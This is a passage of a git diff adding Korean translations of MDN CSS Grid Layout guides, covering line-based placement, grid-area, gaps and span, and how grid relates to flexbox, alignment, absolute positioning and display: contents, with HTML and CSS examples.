+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+.box2 {
+   grid-area: 1 / 3 / 3 / 4;
+}
+.box3 {
+   grid-area: 1 / 2 / 2 / 3;
+}
+.box4 {
+   grid-area: 3 / 2 / 4 / 4;
+}
+
+ +

{{ EmbedLiveSample('grid-area_프로퍼티', '300', '330') }}

+ +

grid-area 값의 순서는 약간 이상하게 보일 수도 있는데, 예를 들어 마진과 패딩을 단축용법을 써서 지정할 때의 순서와 완전 정반대입니다. 하지만, 그리드가 CSS 문서 작성 모드(CSS Writing Modes) 표준 명세서에 정의된 문서 흐름과 관련된 방향을 채용해서 사용한다는 것을 알게 되면 이해하기 쉽습니다. 차후에 그리드가 문서 작성 모드에 따라 어떻게 작용하는지 알아볼 예정입니다만, 개념상 다음과 같이 문서 흐름과 관련된 네 가지 방향이 있습니다:

+ +
    +
  • block-start
  • +
  • block-end
  • +
  • inline-start
  • +
  • inline-end
  • +
+ +

예를 들자면, 영문으로 쓰인 문서는 왼쪽에서 오른쪽으로 읽습니다. 이 경우 block-start는 그리드 컨테이너의 맨 위쪽에 있는 가로 행 라인이 차지하고, block-end는 컨테이너의 매 마지막 행에 있는 라인에 해당합니다. inline-start는 항상 현재의 문서 작성 모드에 따라 텍스트가 써지는 시작 지점이기 때문에 맨 왼쪽에 있는 세로 열 라인이 여기에 해당하고, inline-end는 그리드의 오른쪽 마지막 끝에 있는 세로 열 라인이 됩니다.

+ +

grid-area 프로퍼티를 써서 그리드 영역을 지정할 땐, 우선 시작 라인인 block-startinline-start를 먼저 정의하고, 나중에 마지막 라인으로 block-endinline-end를 정의합니다. 이것은 보통 우리가 top, right, bottom 그리고 left 순서의 물리적 프로퍼티를 사용하는 데 익숙하다는 점을 생각하면 이상하게 보일 수도 있지만, 웹사이트의 문서 작성 모드가 여러 방향일 수 있다는 점을 고려하면 이해가 쉬우실 겁니다.

+ +

거꾸로 세기

+ +

우리는 또한 그리드의 블록(block)과 인라인(inline) 지점의 끝에서부터 거꾸로 셀 수도 있는데, 영문 문서의 경우 이것은 맨 오른쪽 세로 열 라인과 마지막 가로 행 라인이 여기에 해당합니다. 이 라인들은 -1로 지칭할 수 있으며, 여기서 거꾸로 셀 수도 있습니다. 그래서 끝에서 두 번째 라인은 -2가 됩니다. 한 가지 주의할 점은, 여기서 말하는 마지막 라인은 명시적으로 grid-template-columnsgrid-template-rows로 정의한 그리드에 있는 마지막 라인을 가리키며, 이 바깥에 있는 잠재적 그리드에 추가된 행이나 열을 고려하지는 않습니다.

+ +

다음 예제에는 아이템을 배치할 때 그리드의 오른쪽과 아래에서부터 작업을 시작해서 이전에 작성했던 레이아웃을 거꾸로 뒤집어 보았습니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column-start: -1;
+   grid-column-end: -2;
+   grid-row-start: -1;
+   grid-row-end: -4;
+}
+.box2 {
+   grid-column-start: -3;
+   grid-column-end: -4;
+   grid-row-start: -1;
+   grid-row-end: -3;
+}
+.box3 {
+   grid-column-start: -2;
+   grid-column-end: -3;
+   grid-row-start: -1;
+   grid-row-end: -2;
+}
+.box4 {
+   grid-column-start: -2;
+   grid-column-end: -4;
+   grid-row-start: -3;
+   grid-row-end: -4;
+}
+
+ +

{{ EmbedLiveSample('거꾸로_세기', '300', '330') }}

+ +

그리드 전체에 걸치도록 아이템 늘리기

+ +

아이템을 그리드 전체에 걸치도록 늘리려 할 때 유용한 방법으로 다음과 같이 그리드의 시작과 끝의 라인을 지정해줄 수 있습니다:

+ +
.item {
+  grid-column: 1 / -1;
+}
+
+ +

경계 여백 혹은 간격

+ +

CSS 그리드 표준 명세서에는 {{cssxref("grid-column-gap")}}과 {{cssxref("grid-row-gap")}} 프로퍼티를 써서 열과 행 트랙 사이에 경계 여백을 정의해 줄 수 있는 기능이 포함되어 있습니다. 이것은 다중 칼럼 레이아웃에 있는 {{cssxref("column-gap")}} 프로퍼티와 비슷하게 작용해서 트랙 사이의 간격을 지정합니다.

+ +

간격은 오직 그리드의 트랙 사이에서만 위치하고, 컨테이너의 위나 아래 혹은 왼쪽과 오른쪽에 공간을 추가하지 않습니다. 이전 예제에 있는 그리드 컨테이너에 여기에 소개한 프로퍼티를 사용하여 간격을 추가한 모습을 아래에서 확인하실 수 있습니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-column-gap: 20px;
+     grid-row-gap: 1em;
+}
+
+ +

{{ EmbedLiveSample('경계_여백_혹은_간격', '300', '350') }}

+ +

그리드 간격의 단축용법

+ +

앞서 소개한 두 개의 프로퍼티 또한 단축용법인 {{cssxref("grid-gap")}}으로 표현해 줄 수 있습니다. 만약에 grid-gap 값으로 하나만 지정하면, 열과 행 간격 모두에 같이 적용됩니다. 그리고 두 개의 값을 지정하면, 처음 것은 grid-row-gap에 사용되고 두 번째 것은 grid-column-gap에 사용됩니다.

+ +
.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-gap: 1em 20px;
+}
+
+ +

라인을 기준으로 한 아이템 배치 관점에서 보면, 이 간격은 마치 라인에 너비를 더한 것처럼 작용합니다. 특정 라인을 시작으로 배치되는 아이템은 간격 다음에 있는 지점에서부터 놓이게 되며, 간격을 차지하거나 그 안에 배치될 수 없습니다. 만약에 경계 여백이 일반 트랙처럼 작용하길 원하시면, 대신에 해당 목적의 트랙을 따로 지정해서 사용하길 바랍니다.

+ +

span 키워드 사용법

+ +

번호를 붙여서 시작과 마지막 라인을 지정하는 법과 더불어, 시작 라인을 지정한 후 원하는 만큼의 영역을 가로질러 확장하는 트랙의 수를 지정해서 사용하실 수도 있습니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+  grid-column: 1;
+  grid-row: 1 / span 3;
+}
+.box2 {
+   grid-column: 3;
+   grid-row: 1 / span 2;
+}
+.box3 {
+   grid-column: 2;
+   grid-row: 1;
+}
+.box4 {
+   grid-column: 2 / span 2;
+   grid-row: 3;
+}
+
+ +

{{ EmbedLiveSample('span_키워드_사용법', '300', '330') }}

+ +

또한, grid-row-start/grid-row-end 그리고 grid-column-start/grid-column-end 값에도 span 키워드가 쓰일 수 있습니다. 다음의 두 예제에서는 서로 같은 그리드 영역을 만듭니다. 첫 번째 예제에서는 가로 열의 시작 라인을 지정한 후에, 마지막 라인은 3개의 라인을 가로질러 위치하도록 설정하였습니다. 그래서 영역은 1번 라인부터 시작해서 3개의 라인을 가로질러 4번 라인까지 차지하게 됩니다.

+ +
.box1 {
+    grid-column-start: 1;
+    grid-row-start: 1;
+    grid-row-end: span 3;
+}
+
+ +

두 번째 예제에선, 아이템이 끝나는 지점에 있는 마지막 라인을 지정한 다음 시작 라인을 span 3으로 설정하였습니다. 이 얘기는 아이템이 지정한 마지막 가로 열 라인으로부터 위쪽으로 확장해야 한다는 뜻입니다. 이렇게 하면, 영역은 4번 라인부터 시작해서 3개의 라인을 가로질러 1번 라인까지 차지하게 됩니다.

+ +
.box1 {
+    grid-column-start: 1;
+    grid-row-start: span 3;
+    grid-row-end: 4;
+}
+
+ +

그리드 라인을 기준으로 아이템을 배치하는 법에 익숙해지시려면, 다양한 수의 열로 이뤄진 그리드에 아이템들을 배치하시면서 몇 가지 일반적 레이아웃을 만들어보는 여러 시도를 해보시기 바랍니다. 여기서 주의할 점은 모든 아이템의 위치를 일일이 지정하지 않았다면, 나머지 아이템들은 자동 배치 규칙에 따라 배치된다는 것을 명심하시기 바랍니다. 이런 레이아웃이 원하시는 것일 수도 있지만, 만약에 의도치 않은 곳에 아이템이 표시된다면, 해당 아이템의 위치를 지정해 주었는지 꼭 확인해 보십시오.

+ +

또한, 그리드에 배치된 아이템들은 원하시면 명확히 지정해서 서로 자리가 겹치게 할 수도 있다는 것을 잊지 마십시오. 이렇게 하면 특이하고 멋진 효과를 만들어 낼 수도 있습니다만, 만약에 시작 혹은 마지막 라인을 잘못 지정해 놓았다면, 의도치 않은 곳에서 서로 겹쳐 버리는 결과를 가져올 수도 있습니다. Firefox Grid Highlighter는 배우시면서 매우 유용하게 사용될 수 있는데, 특히나 그리드가 상당히 복잡한 경우에는 더 그렇습니다.

+ + diff --git a/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html new file mode 100644 index 0000000000..8483386140 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html @@ -0,0 +1,625 @@ +--- +title: Relationship of grid layout to other layout methods +slug: Web/CSS/CSS_Grid_Layout/Relationship_of_grid_layout +tags: + - CSS + - CSS Grids + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout +--- +

CSS 그리드 레이아웃은 레이아웃 작업을 위한 전체 시스템 중의 일부로서, 다른 CSS 기술과 함께 어우러져 작동하도록 설계되었습니다. 이번 가이드에서는 이미 사용하고 계신 다른 기술과 그리드가 어떻게 잘 어울리는지 설명해 드리겠습니다.

+ +

그리드와 플랙스박스

+ +

CSS 그리드 레이아웃과 CSS 플랙스박스(Flexbox) 레이아웃의 기본 차이점이라면, 플랙스박스는 한 줄로 된 행 혹은 열 방향의 레이아웃과 같이 일차원의 레이아웃을 염두에 두고 설계되었다는 점입니다. 하지만, 그리드는 행과 열 모두를 염두에 둔 2차원적 레이아웃을 고려해서 설계되었습니다. 그러나 두 기술은 몇 가지 공통된 면모를 공유하고 있어서, 이미 플랙스박스 사용법을 익히셨다면 그리드를 이해하는 데도 도움이 될 만한 둘 사이의 유사점을 목격하실 수도 있습니다.

+ +

1차원적 대비 2차원적 레이아웃

+ +

간단한 예를 들면, 1차원 및 2차원 레이아웃의 차이점은 확연해집니다.

+ +

첫 번째 예제에서는 플랙스박스를 써서 일련의 네모난 상자들을 배치하였습니다. 컨테이너 안에는 다섯 개의 자식 아이템이 있고, 플랙스 기준값 200픽셀을 기반으로 아이템이 늘어나거나 줄어들도록 flex 프로퍼티 값을 지정하였습니다.

+ +

또한, {{cssxref("flex-wrap")}} 프로퍼티 값으로 wrap을 지정해서, 만약 컨테이너 안에 있는 공간이 플랙스 기준값 너비의 아이템들을 모두 나열하지 못할 만큼 좁아진다면, 다음 행으로 줄 바꿈 하도록 하였습니다.

+ +
+ + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: flex;
+  flex-wrap: wrap;
+}
+.wrapper > div {
+  flex: 1 1 200px;
+}
+
+
+ +

{{ EmbedLiveSample('onedtwod', '500', '230') }}

+ +

위의 그림에서 보시다시피, 두 개의 아이템이 다음 행으로 줄 바꿈 한 것을 확인하실 수 있습니다. 이 아이템들은 남은 공간을 공유하며 아래 위치한 아이템들은 위에 있는 것들과는 일렬로 정렬되지 않았습니다. 이는 플랙스 아이템이 다음 열로 감길 때, 새로운 각각의 행 (또는 세로 열 기준으로 작업할 경우 각각의 열)이 새로운 플랙스 컨테이너가 되기 때문입니다. 그래서 공간의 분배는 가로 행을 기준으로 이루어집니다.

+ +

여기서 자주 던지는 질문으로, 그러면 이런 아이템을 어떻게 하면 일렬로 정렬할 수 있을까입니다. 이럴 땐 2차원적 레이아웃 방법을 고려해 볼 수 있습니다. 아이템을 정렬할 때 행과 열을 기준으로 제어하고 싶다면, 이런 경우엔 그리드가 제격입니다.

+ +

CSS 그리드를 이용한 동일 레이아웃 구현

+ +

다음 예제에선 그리드를 써서 똑같은 레이아웃을 만들어 보았습니다. 이번엔 1fr 크기로 된 세 개의 세로 열 트랙으로 이루어져 있습니다. 아이템 자체에는 아무것도 설정할 필요가 없고, 아이템들은 생성된 그리드의 각 셀에 하나씩 배치됩니다. 보시다시피 아이템들은 행과 열에 줄지어서 그리드 위에 정확히 맞추어져 있습니다. 아이템이 다섯 개인 경우, 2번째 행의 끝부분은 빈 곳으로 남게 됩니다.

+ +
+ + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+  <div>Four</div>
+  <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ +

{{ EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170') }}

+
+ +

그리드와 플랙스박스 둘 사이의 선택을 고민할 때 자신에게 던질 수 있는 간단한 질문으로:

+ +
    +
  • 레이아웃을 조정할 때 오직 가로 행 혹은 세로 열 만이 고려 대상이라면 – 플랙스박스를 사용하십시오
  • +
  • 레아아웃을 조정할 때 가로 행과 세로 열 모두를 염두에 두어야 한다면 – 그리드를 사용하십시오
  • +
+ +

콘텐츠 중심 혹은 레이아웃 먼저?

+ +

1차원 대비 2차원의 차이점 외에도, 레이아웃을 할 때 플랙스박스와 그리드 중에서 어떤 것을 써야 할지를 결정하는 또 다른 요인이 있습니다. 플랙스박스는 좀 더 콘텐츠에 초점이 맞춰져 있습니다. 플랙스박스의 이상적인 사용 사례는 여러 아이템을 컨테이너에 고르게 배치하려는 경우입니다. 여기서 콘텐츠의 크기가 각 아이템이 차지하는 공간을 결정합니다. 아이템이 새로운 줄로 줄 바꿈 되면, 아이템의 크기와 해당 줄의 사용 가능한 공간에 따라 간격이 조정됩니다.

+ +

그리드는 레이아웃을 먼저 고려하게 됩니다. CSS 그리드 레이아웃을 사용할 때는 우선 레이아웃을 작성한 다음 그 위에 아이템을 배치하거나, 자동 배치 규칙을 통해 견고하게 짜인 그리드 위에 놓인 그리드 셀에 아이템을 배치하게 됩니다. 콘텐츠의 크기에 따라 조절되는 트랙을 만들 수도 있지만, 이렇게 하면 전체 트랙을 변경하게 됩니다.

+ +

플랙스박스를 사용하면서 그 특유의 유연성 때문에 제약을 느낀다면, CSS 그리드 레이아웃을 고려해 보시는 것도 좋을 겁니다. 예를 들어 윗줄에 있는 다른 아이템과 일렬로 정렬되게 하려고 굳이 플랙스 아이템에 퍼센트 너비를 지정해야 할 때가 있는데, 이 경우 그리드가 더 나은 선택이 될 수 있습니다.

+ +

박스 정렬

+ +

플랙스박스의 기능 중 많은 사람이 가장 흥미롭게 여겼던 것은 처음으로 적절한 정렬 제어 기능을 제공한다는 것입니다. 그래서 이젠 박스를 페이지의 중앙에 손쉽게 배치할 수도 있게 되었습니다. 플렉스 아이템은 플렉스 컨테이너의 높이만큼 늘어날 수도 있어서, 같은 높이의 칼럼 레이아웃을 구현할 수도 있습니다. 이것은 개발자가 아주 오랫동안 원했던 것이어서, 그동안 최소한 시각적 효과라도 흉내 내기 위해 온갖 종류의 꼼수를 고안해 내기도 했었습니다.

+ +

플랙스박스 표준 명세서에 있는 정렬 프로퍼티는 박스 정렬 레벨(Box Alignment Level) 3의 새로운 표준에 추가되었습니다. 이 말은 그리드 레이아웃을 비롯한 다른 표준에서도 사용할 수 있다는 뜻입니다. 그래서 미래에는 다른 레이아웃 방법에도 똑같이 적용될 수 있습니다.

+ +

이 가이드 시리즈의 후반부에서 박스 정렬에 관해 자세히 알아볼 것이며 또한, 그리드 레이아웃에서 어떻게 작동하는지도 살펴보겠습니다. 하지만 여기서는 플랙스박스와 그리드를 비교하는 간단한 예제를 살펴보겠습니다.

+ +

플랙스박스를 사용하는 첫 번째 예제에는 컨테이너 안에 세 개의 아이템이 있습니다. 감싸고 있는 요소에 {{cssxref("min-height")}}를 지정해서, 플랙스 컨테이너의 높이를 정의해 줍니다. 플렉스 컨테이너의 {{cssxref("align-items")}} 값을 flex-end로 설정하여 아이템이 플랙스 컨테이너의 끝에 정렬되도록 했습니다. 또한, box1에 {{cssxref("align-self")}} 프로퍼티를 설정하여 기본값을 덮어씌우면서 컨테이너의 높이 만큼 늘어나게 하였고, box2에는 플랙스 컨테이너의 시작 지점에 정렬되도록 하였습니다.

+ + + +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+</div>
+
+ +
.wrapper {
+  display: flex;
+  align-items: flex-end;
+  min-height: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: flex-start;
+}
+
+ +

{{ EmbedLiveSample('박스_정렬', '300', '230') }}

+ +

CSS 그리드에서의 정렬

+ +

다음 두 번째 예제에서는 그리드를 써서 앞에서와 똑같은 레이아웃을 구현했습니다. 이번에는 그리드 레이아웃에 적용할 때 쓰는 박스 정렬 프로퍼티를 사용하였습니다. 그래서 flex-startflex-end가 아닌 startend를 써서 정렬합니다. 그리드 레이아웃의 경우 해당 그리드 영역을 기준으로 내부에 있는 아이템들을 정렬합니다. 이번 경우에는 단일 그리드 셀로 되어 있지만, 그리드 영역이 여러 그리드 셀로 구성되어 있을 수도 있습니다.

+ + + +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  align-items: end;
+  grid-auto-rows: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: start;
+}
+
+ +

{{ EmbedLiveSample('CSS_그리드에서의_정렬', '200', '310') }}

+ +

fr 단위와 flex-basis

+ +

우리는 이미 fr 단위가 어떻게 그리드 컨테이너 속 사용 가능한 공간을 비율에 따라 그리드 트랙에 할당하는지 보았습니다. fr 단위가 {{cssxref("minmax", "minmax()")}} 함수와 결합하면 플랙스박스의 flex 프로퍼티와 매우 유사한 동작을 구현할 수 있으며, 동시에 2차원 레이아웃을 구성할 수도 있습니다.

+ +

이전의 1차원과 2차원 레이아웃의 차이점을 보여주는 예제를 살펴보면, 두 레이아웃이 반응하는 방식에 차이가 있다는 점을 아실 수 있습니다. 플랙스 레이아웃의 경우, 브라우저 창을 더 넓거나 좁게 드래그하면, 플랙스 박스는 사용 가능한 공간에 따라 각 행에 나열되는 아이템의 수를 적절하게 조정합니다. 공간이 많다면 5개의 아이템 모두가 한 행에 들어갈 수 있을 것이며, 컨테이너 너비가 매우 좁다면 단지 하나의 아이템이 들어갈 만한 공간이 남을 수도 있을 겁니다.

+ +

반면에, 그리드 버전에는 항상 세 개의 열 트랙이 있게 됩니다. 트랙 자체가 넓어지거나 줄어들 수 있지만, 그리드를 정의할 때 세 개를 지정했으면 무조건 세 개의 트랙이 있게 됩니다.

+ +

자동으로 채워지는 그리드 트랙

+ +

트랙의 목록을 생성할 때 반복 표기법과 auto-fillauto-fit 프로퍼티를 사용하면 지정한 행과 열에 맞추면서도 플랙스박스와 유사한 효과를 내도록 콘텐츠를 정렬할 수도 있습니다.

+ +

다음 예제에서는 반복 표기법을 지정할 때 정수 대신 auto-fill 키워드를 사용하였고 기준 크기가 200픽셀이 되도록 트랙 목록을 설정했습니다. 즉, 그리드는 컨테이너에 200픽셀 너비의 세로 열 트랙을 채울 수 있을 만큼의 개수를 생성하게 됩니다.

+ + + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 200px);
+}
+
+ +

{{ EmbedLiveSample('자동으로_채워지는_그리드_트랙', '500', '170') }}

+ +

변동 가능한 트랙의 수

+ +

이것은 플랙스박스와 완전히 똑같지는 않습니다. 플랙스박스 예제에서는 아이템이 다음 줄로 행 바꿈 하기 전에는 기본값인 200픽셀보다 더 넓었습니다. 그리드에서는 auto-fill과 {{cssxref("minmax", "minmax()")}} 함수를 결합해서 비슷한 결과를 얻을 수 있습니다. 다음 예제에선 minmax를 써서 자동으로 채워지는 트랙을 만들었습니다. 트랙은 최소 200픽셀부터 시작해서 최대 1fr까지 늘어날 수 있도록 설정하였습니다. 브라우저는 우선 200픽셀 크기의 아이템을 (그리드 간격도 함께 고려해서) 컨테이너에 몇 개로 채울 수 있을지 계산을 하고 나서, 남아있는 공간을 최대치 1fr 기준으로 아이템들끼리 공유하면서 서로 늘어나도록 합니다.

+ + + +
<div class="wrapper">
+  <div>One</div>
+  <div>Two</div>
+  <div>Three</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+
+ +

{{ EmbedLiveSample('변동_가능한_트랙의_수', '500', '170') }}

+ +

이렇게 해서, 크기와 개수가 변동적인 트랙들로 구성된 그리드를 만들 수 있게 되었으며, 동시에 아이템들을 일정한 행과 열로 정렬할 수도 있음을 확인하였습니다.

+ +

그리드와 단독으로 위치를 지정한 요소

+ +

그리드는 단독으로 위치 지정된 요소와 상호 작용하면서, 그리드 또는 그리드 영역 내에 아이템을 배치할 때 유용하게 사용될 수 있습니다. 표준 명세서에는 그리드 컨테이너가 요소를 감싸는 컨테이닝 블록(containing block)으로서, 그리드 컨테이너가 단독으로 위치를 지정한 아이템의 부모 요소일 때 동작하는 방식을 정의하고 있습니다.

+ +

컨테이닝 블록으로서의 그리드 컨테이너

+ +

그리드 컨테이너를 컨테이닝 블록으로 만들려면, 다른 단독으로 위치를 지정한 아이템을 감싸고 있는 요소를 컨테이닝 블록을 만들 때와 마찬가지로, 컨테이너에 position 프로퍼티로 relative 값을 추가해야 합니다. 이렇게 하면, 그리드 아이템에 position: absolute를 지정할 경우 그리드 컨테이너가 컨테이닝 블록이 되며, 또 해당 아이템에 그리드 위칫값이 추가로 지정되었을 때는, 배치된 그리드 영역이 컨테이닝 블록으로 작용합니다.

+ +

아래 예제에서는 네 개의 하위 아이템을 감싸는 wrapper 클래스의 블록이 있습니다. 3번 아이템은 단독으로 위치가 지정되었으며 라인을 기반으로 그리드에 배치되었습니다. 그리드 컨테이너에 position: relative를 지정해서 이 아이템이 위치를 잡을 때 참고하는 기준 요소가 됩니다.

+ + + +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">
+   This block is absolutely positioned. In this example the grid container is the containing block and so the absolute positioning offset values are calculated in from the outer edges of the area it has been placed into.
+  </div>
+  <div class="box4">Four</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+  position: relative;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: absolute;
+  top: 40px;
+  left: 40px;
+}
+
+ +

{{ EmbedLiveSample('컨테이닝_블록으로서의_그리드_컨테이너', '500', '330') }}

+ +

여기서 아이템이 그리드의 세로 열 2번 라인부터 4번 라인까지, 그리고 가로 행 1번 라인을 시작으로 그리드 영역을 차지하고 있는 것을 확인하실 수 있습니다. 하지만, 단독으로 위치를 지정한 일반 아이템의 경우와 마찬가지로 문서 흐름에서 제외되면서, 자동 배치 규칙에 따라 해당 공간에 다른 아이템들을 배치하게 됩니다. 또한, 이로 인해 아이템이 추가 행을 생성하지 않게 되면서 가로 행 3번 라인까지 확장하지 않게 되었습니다.

+ +

만약에 .box3의 규칙 중에 position: absolute를 없애버리면, 위치를 지정하지 않았을 경우 표시될 원래의 자리로 돌아가는 것을 확인하실 수 있습니다.

+ +

부모 요소로서의 그리드 컨테이너

+ +

만약에 단독으로 위치를 지정한 자식 요소가 그리드 컨테이너에 속해 있지만, 해당 컨테이너가 위치를 참고하는 새로운 기준 요소로 정의되지 않았다면, 앞의 예제에서처럼 일반 배치 흐름에서 배제됩니다. 위치의 기준이 되는 요소는, 다른 레이아웃 방법에 공통으로 적용되는 것과 마찬가지로, 새로운 위치 기준 요소로 정의된 요소가 맡게 됩니다. 이번 경우에 만약 위에 있는 감싸는 요소에서 position: relative를 삭제한다면, 위치의 기준이 되는 것은 아래의 그림에서 보여주듯이 최상위 도큐먼트 오브젝트에 해당하는 기본 뷰포트(viewport)가 맡게 됩니다.

+ +

부모 요소로서의 그리드 컨테이너 모습을 담은 그림

+ +

여기도 마찬가지로 해당 아이템은, 다른 아이템들의 크기 조정과 자동 배치와 관련해서, 더는 그리드 레이아웃에 관여하지 않게 됩니다.

+ +

부모 요소가 그리드 영역일 때

+ +

만약에 단독으로 위치를 지정한 아이템이 그리드 영역 안에 자리 잡고 있다면, 해당 영역을 위치의 기준이 되는 요소로 정의할 수 있습니다. 아래 예제에서는 전과 같은 그리드가 정의되어 있습니다만, 이번엔 그리드의 .box3 안에 또 하나의 아이템을 중첩해 놓았습니다.

+ +

.box3의 position 값으로 relative를 지정했으며 그 밑에 있는 아이템에는 원래의 위치에서 벗어난 값을 따로 지정하였습니다. 이 경우 위치의 기준이 되는 요소는 그리드 영역이 됩니다.

+ + + +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three
+    <div class="abspos">
+     This block is absolutely positioned. In this example the grid area is the containing block and so the absolute positioning offset values are calculated in from the outer edges of the grid area.
+    </div>
+  </div>
+  <div class="box4">Four</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: relative;
+}
+.abspos {
+  position: absolute;
+  top: 40px;
+  left: 40px;
+  background-color: rgba(255,255,255,.5);
+  border: 1px solid rgba(0,0,0,0.5);
+  color: #000;
+  padding: 10px;
+}
+
+ +

{{ EmbedLiveSample('부모_요소가_그리드_영역일_때', '500', '420') }}

+ +

그리드와 display: contents

+ +

마지막으로 눈여겨볼 또 하나의 레이아웃 표준과 관련된 상호 작용으로 CSS 그리드 레이아웃과 display: contents 사이의 상호 작용이 있습니다. display 프로퍼티의contents 값은 Display 표준 명세서에 새로 정의된 것으로 다음과 같이 설명되어 있습니다:

+ +
+

“요소 자신은 어떠한 박스도 생성하지 않지만, 대신 포함하고 있는 하위 자식 요소와 가상 요소(pseudo-elements)가 평소처럼 박스를 생성하게 됩니다. 그래서 박스 생성과 레이아웃을 구현할 때, 문서의 계층 구조상 해당 요소가 아래 자식 요소와 가상 요소로 대체된 것처럼 다루어집니다.”

+
+ +

만약에 아이템에 display: contents를 지정하면 보통 해당 요소가 만드는 박스는 사라지고, 자식 요소의 박스가 한 단계 상승한 것처럼 그 자리를 차지하게 됩니다. 이 얘기는 그리드 아이템의 자식 요소가 그리드 아이템이 될 수도 있다는 뜻입니다. 이상하게 들리시죠? 다음에 간단한 예를 들어보겠습니다. 아래 마크업에는 그리드가 있고, 이 그리드에 있는 첫 번째 아이템이 세 개의 열 트랙 모두를 가로지르도록 설정하였습니다. 또한, 이 아이템은 세 개의 중첩된 아이템들을 포함하고 있습니다. 이 아이템들은 컨테이너 바로 밑에 있는 자식 요소가 아니므로, 그리드 레이아웃의 일원으로 참여하지 않으면서 보통의 일반 블록 레이아웃으로 표시됩니다.

+ +
+ + +
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Two</div>
+  <div class="box box3">Three</div>
+  <div class="box box4">Four</div>
+  <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+}
+
+
+ +

{{ EmbedLiveSample('Display_Contents_Before', '400', '420') }}

+
+ +

이제 .box1display: contents규칙을 추가하면, 해당 아이템이 차지하고 있는 박스가 사라지면서 하위 아이템들이 그리드 아이템 자격을 얻게 되어 자동 배치 규칙에 따라 알아서 배치됩니다.

+ +
+ + +
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Two</div>
+  <div class="box box3">Three</div>
+  <div class="box box4">Four</div>
+  <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  display: contents;
+}
+
+ +

{{ EmbedLiveSample('Display_Contents_After', '400', '330') }}

+
+ +

이것은 중첩된 아이템을 그리드의 일부분인 것처럼 작용하게 하는 방법으로 사용될 수 있으며, 또한 서브 그리드가 구현된다면 해결될 수 있는 문제를 피해 가는 방법이 될 수도 있습니다. 물론, 플랙스박스에서도 비슷하게 display: contents를 이용해서 중첩된 아이템이 플랙스 아이템처럼 작용하도록 만들 수도 있습니다.

+ +

이번 가이드에서 보셨듯이 CSS 그리드 레이아웃은 단지 여러분이 구현해 볼 수 있는 여러 기술 중 한 부분일 뿐입니다. 원하시는 다양한 효과를 얻기 위해서 다른 레이아웃 기술끼리 서로 혼합해서 사용하는 것을 두려워하지 마십시오.

